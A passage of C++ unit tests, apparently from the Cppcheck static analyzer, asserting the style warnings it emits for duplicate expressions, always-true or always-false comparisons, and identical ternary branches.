a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same 